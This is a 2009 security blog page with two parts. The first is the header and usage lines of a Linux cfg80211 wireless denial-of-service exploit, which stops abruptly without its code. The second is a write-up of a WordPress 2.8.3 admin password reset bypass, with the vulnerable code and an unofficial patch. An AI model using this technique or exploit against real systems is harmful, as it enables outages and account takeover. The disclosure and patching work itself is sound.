In case you guys haven’t notice about this vulnerability

/*
 * cfg80211-remote-dos.c
 *
 * Linux Kernel < 2.6.30.5 cfg80211 Remote DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://patchwork.kernel.org/patch/41218/
 *
 *   These pointers can be NULL, the is_mesh() case isn't ever hit in the 
 *   current kernel, but cmp_ies() can be hit under certain conditions.
 *
 * Usage:
 *
 *   $ gcc cfg80211-remote-dos.c -o cfg80211-remote-dos -lorcon
 *   $ airmon-ng start wlan0
 *   ...
 *   $ ./cfg80211-remote-dos mon0 mac80211
 *   [+] Initializing interface mon0...
 *   [+] Injecting crafted DoS beacon frames...
 *
 * Notes:
 *
 *   The NULL pointer dereference is triggered if the victim scans and receives
 *   a beacon frame that does not contain a SSID IE and then receives another 
 *   one that does have a SSID IE.  Raw frame injection via LORCON is required 
 *   on the wireless interface.  This should only affect the 2.6.30 series.

WordPress <= 2.8.3 Remote Admin Reset Password Vulnerability and the Patch

Posted: August 11th, 2009 | Author: | Filed under: IT Related | Tags: , , , | 6 Comments »

[at the time this entry was posted, this is still a 0day]

[level: medium]

For those who subscribe to Milw0rm’s RSS, you might have read about the WordPress <= 2.8.3 Remote Admin Reset Password Vulnerability earlier.

Let take a look at the vulnerable code in wp-login.php:

wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;
 
    $key = preg_replace('/[^a-z0-9]/i', '', $key);
 
    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));
 
    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
 
if ( isset($_GET['key']) )
    $action = 'resetpass';
 
// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....
 
line 370:
 
break;
 
case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);
 
    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }
 
    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();
 
break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.

wanna see some PoC?

Hehehe.. ok.. now lets patch it.. change the code in line 188 into the following code

        if(is_array($key)) {
           $key = '';
           return new WP_Error('invalid_key', __('Invalid key'));
        }
        else
	   $key = preg_replace('/[^a-z0-9]/i', '', $key);

Now you are done.

P/S: This is not the official patch from WordPress. So far there is still no patch yet. You can temporarily use this method and please upgrade to the next version of WordPress when the patch is available. If you found that my patch is still vulnerable to this attack, kindly ‘patch’ me in the comment section
